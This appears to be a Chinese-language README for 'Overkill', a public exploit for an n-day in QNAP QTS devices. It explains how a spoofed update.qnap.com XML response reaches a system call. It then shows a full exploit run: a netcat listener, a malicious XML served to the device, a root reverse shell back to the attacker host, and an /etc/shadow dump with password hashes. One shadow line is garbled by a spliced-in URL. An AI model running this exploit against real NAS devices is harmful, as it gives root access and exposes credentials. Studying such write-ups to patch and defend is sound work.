Overkill 是一个针对已修补的 QNAP QTS 漏洞的利用程序。由于 QNAP 披露漏洞的方式,我不确定此问题是否有 CVE 编号。不过,它可能在 2020 年 11 月和 2021 年 4 月被修补。这个 n-day 是在对 CVE-2020-2509 进行差异分析时“发现”的。这几乎可以肯定不是 CVE-2020-2509。
该利用程序会向 /cgi-bin/qnapmsg.cgi?lang=xxx 发送 HTTP GET 请求,这会导致未修补的 QNAP 设备通过不安全的 HTTP 从 update.qnap.com 下载 XML 文件。能够将 update.qnap.com 重定向到自身的攻击者,可以用攻击者控制的 XML 文件进行响应。当 QNAP 解析该 XML 文件时,会将部分内容传递给 system 调用,从而产生一个反向 shell。
该利用程序 并未 实现将 update.qnap.com 请求指向该利用程序的方法。在下面的示例中,我在自己的路由器上使用了路由器 DNS 劫持……效果可能因人而异。
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011010010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/main/!:19181:0:99999:7:::
bash-3.2# exit